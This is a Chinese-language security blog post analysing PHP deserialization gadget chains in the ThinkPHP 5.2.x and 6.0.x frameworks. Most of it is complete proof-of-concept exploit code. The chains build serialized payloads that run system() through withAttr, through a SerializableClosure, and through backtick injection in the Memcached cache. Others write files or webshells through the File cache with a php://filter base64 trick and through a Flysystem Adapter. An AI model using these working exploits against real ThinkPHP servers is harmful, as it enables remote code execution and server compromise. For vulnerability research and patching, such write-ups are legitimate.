Learning Man's Blog

ThinkPHP 6.0.x 反序列化简析

字数统计: 1.9k阅读时长: 8 min
2019/12/10 Share

先记:Thinkphp 5.2.x 反序列化简析

由于官方已删除 framework v5.2.x-dev,导致无法复现环境,只能靠现有文章理解了 https://xz.aliyun.com/t/6619#toc-2

  1. 这种方法是利用think\model\concern\Attribute类中的getValue方法中可控的一个动态函数调用的点,

     $closure = $this->withAttr[$fieldName]; //$withAttr、$value可控,令$closure=system,
     $value   = $closure($value, $this->data);//system('ls',$this->data),命令执行
  2. 这种方法跟上面基本一样,唯一不同的就是在getValue处利用tp自带的SerializableClosure调用,而不是上面找的system()

    \Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。在Opis\Closure\SerializableClosure->__invoke()中有call_user_func函数,当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用。call_user_func_array($this->closure, func_get_args());
    这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用,将会触发SerializableClosure.php__invoke执行

     $func = function(){phpinfo();};
     $closure = new \Opis\Closure\SerializableClosure($func);
     $closure($value, $this->data);// 这里的参数可以不用管
  3. 需要可以上传,利用think\Db.php中存在__call实现文件包含getshell

6.0.x 反序列化简析

Gadget i

来源 https://www.anquanke.com/post/id/187393,文章中是利用`checkAllowFields`中509行db 方法中的 name 函数进行字符串转换

实际可以直接利用510行的.连接,更加方便,本文对后者进行分析,由于执行system$data被置为0,在进入510行后,会因为进入toArrayarray_merge合并参数数组时报错退出

利用链类似5.2.x上的__destruct -> __toString,不过6.x取消了Windows类,需要换一个入口

  1. 在 Model 和 AbstractCache 下类似的调用了 save 方法,但是后者没有实现,只能看前者
    -w667

跟入updateData -> checkAllowFields -> db看到字符串拼接,接下来就是类似之前的流程了,这里选择$this->name$this->table$this->suffix都可以,但如果是$table的话会因为在510行时进入toArrayarray_merge合并参数数组时,由于509行执行后$data被置为0,报错退出

-w1483

poc 编写

为了能进入checkAllowFields触发__toString,我们需要考虑绕过中间的返回
根据下图,可知最直接进入的需求为:

  • $lazySave = true
  • $data not empty
  • $exists = true
  • $force = true

-w1311

<?php
namespace think;
abstract class Model {

    function __construct(){
        $this->lazySave = true;
        $this->exists = true;
        $this->data = ['sari3l'];
        $this->force = true;
    }
}


namespace think\model;
use think\Model;

class Pivot extends Model {};

echo base64_encode(serialize(new Pivot()));

之后我们还需要$this->table存在情况下进行字符串连接,并设置为目标类以及触发Conversion下的__toString,但是 Model 就已经继承Conversion,所以只需要重新生成一个再传入即可

<?php
namespace think;
abstract class Model {
    ...

    function __construct($obj){
        ...
        $this->table = $obj;
    }
}

...

class Pivot extends Model {
    function __construct($obj){
        parent::__construct($obj);
    }
}

$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));

接下来就是在Conversion中实现动态加载函数,和5.2.x相似

-w1313

注意到toArray中需要控制$data中的key,以及在getAttr中从$data中取对应value,以及最后将通过$withAttr控制$closure,同时注意到488行判断了两个key同才可进入逻辑

简单来说

  • $withwithAttrkey[$key] -> 目标方法
  • $data[$key] -> 目标参数
abstract class Model {
    ...
    private $data = [];
    private $withAttr = [];

    function __construct($obj){
        ...
        $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
        $this->withAttr = ["sari3l" => "system"];
    }
}

最终 POC

<?php
namespace think;
abstract class Model {

    function __construct($obj){
        $this->lazySave = true;
        $this->exists = true;
        $this->data = ['sari3l' => '/System/Applications/Calculator.app/Contents/MacOS/Calculator'];
        $this->force = true;
        $this->table = $obj;
        $this->withAttr = ["sari3l" => "system"];
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model {
    function __construct($obj){
        parent::__construct($obj);
    }
}

$obj_1 = new Pivot(null);
echo base64_encode(serialize(new Pivot($obj_1)));

-w1422

Gadget ii

这里利用的同5.2.x中的第二种方法

\Opis\Closure可用于序列化匿名函数,使得匿名函数同样可以进行序列化操作。这意味着我们可以序列化一个匿名函数,然后交由上述的$closure($value, $this->data)调用执行。

当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用,$closure又是可控的传入,那么可以直接序列化一个匿名函数在getValue中触发

-w1124

只是$closure那里需要修改,简单改一下 poc 即可,注意加载autoload文件

namespace think;
require __DIR__ . '/../vendor/autoload.php';
use Opis\Closure\SerializableClosure;
abstract class Model {
    ...
    function __construct($obj){
        ...
        $this->data = ['sari3l' => ''];
        $this->withAttr = ["sari3l" => new SerializableClosure(function (){system('/System/Applications/Calculator.app/Contents/MacOS/Calculator');})];
    }
...

-w969

还需要注意一点,由于此gadget$data并不起到参数作用而只是为了绕过return,所以由于checkAllowFields的509行执行db中存在转换$table拼接,而510也同样存在$table转换,导致会触发两次,可以利用$name实现只触发一次

Gadget iii

前两个都依靠 Model -> __destruct,这里来看看 AbstractCache -> __destruct

由于AbstractCache并没有实现save方法,要看看其子类;如果子类也没有实现,还可看其__call方法

-w458

通过搜索set方法,我们可以看到Rediscache/driver/Filedriver/MemcachedMemcache均有类似的逻辑代码

-w664

-w660

编写 poc

先按照之前的写法,准备进入 serialize 函数

<?php
namespace think\cache\driver;
class Memcached {
    protected $options = ['prefix' => '?'];
}

namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {

    function __construct(){
        $this->autosave = false;
        $this->key = '_sari3l';
        $this->store = new Memcached();
        $this->expire = 0;
    }
}

echo base64_encode(serialize(new CacheStore()));

serialize中,我们可以通过控制options执行目标函数,但还需考虑如何控制进入serialize$value了,即控制最后执行的参数

通过下面的调用,可以看到最主要位于最后的

  • array_flip 交换键值
  • array_intersect_key 使用键名比较计算数组的交集 -> 取共同键,取第一个数组中对应值,组成新数组返回

-w1201

在shell里面,`的优先级是高于"的,所以会先执行whoami然后再将执行结果拼接成一个新的命令

php > system('{"1":"`whoami`"}');
sh: {1:sariel.d}: command not found

因此我们只需要保证目标语句在返回数据中存在即可,由于优先级问题,不用考虑数据是否合法

交换键值后,$cachedProperties = ['path' => 0, ...],因为array_intersect_key会在第一个参数中取值,所以只要保证$object = ['path' => '`<command>`']即可

最终 POC

<?php
namespace think\cache\driver;
class Memcached {
    protected $options = ['prefix' => 'author', 'serialize' => ['system']];
}

namespace think\filesystem;
use think\cache\driver\Memcached;
class CacheStore {

    function __construct(){
        $this->autosave = false;
        $this->key = '_sari3l';
        $this->store = new Memcached();
        $this->expire = 0;
        $this->cache = [['path' => '`/System/Applications/Calculator.app/Contents/MacOS/Calculator`']];
    }
}

echo base64_encode(serialize(new CacheStore()));

-w1492

Gadget iv

Gadget iii中利用的think\cache\driver\Memcached
而在cache/driver/File中除了同 iii 中的直接利用方式,还可以直接写shell

主要利用两点:

  1. 在 getForStorage 中 json_encode 实现拼接
    -w475

  2. 利用php伪协议转义写入文件内容,而且同时用于可以绕过exit(),(测试$cache直接明文payload,$this->cache会直接为空,可能有过滤但未注意)
    -w768

需要注意的两点

  1. $data会经过serialize可执行任意方法,为了保持原有字符串内容,这里选择serialize或其他函数
  2. 要控制$complete内容将最终写入$data前部分内容长度为 4 的倍数,以便正常执行base64解码

最终 POC

<?php
namespace think\cache\driver;
class File {
    protected $options = [
        'prefix' => false,
        'hash_type' => 'md5',
        'cache_subdir' => false,
        'path' => 'php://filter/convert.base64-decode/resource=/tmp/',
        'data_compress' => false,
        'serialize' => ['serialize'],
    ];
}

namespace think\filesystem;
use think\cache\driver\File;
class CacheStore {

    function __construct() {
        $this->autosave = false;
        $this->expire = 0;
        $this->key = '_sari3l';
        $this->store = new File();
        $this->cache = [];
        $this->complete = 'PD9waHAgZWNobyAic2FyaTNsIjsgPz4K';
    }
}

echo base64_encode(serialize(new CacheStore()));

Gadget vi + i

类似写入还有:Adapter 这个很简单,不想写分析了,直接上 POC

唯一的问题,不知道我本地原因还是怎么,$cache$complete中不能明文带 php payload,否则直接为空?

<?php
namespace League\Flysystem\Adapter;
class Local{
    function __construct() {
        $this->pathPrefix = '/';
    }
}

namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
class Adapter{
    function __construct() {
        $this->autosave = false;
        $this->adapter = new Local();
        $this->cache = [];
        $this->file = '/tmp/sari3l.php';
        $this->complete = "_sari3l";
    }
}

echo base64_encode(serialize(new Adapter()));
CATALOG
  1. 先记:Thinkphp 5.2.x 反序列化简析
  2. 6.0.x 反序列化简析
    1. Gadget i
      1. poc 编写
      2. 最终 POC
    2. Gadget ii
    3. Gadget iii
      1. 编写 poc
      2. 最终 POC
    4. Gadget iv
      1. 最终 POC
    5. Gadget vi + i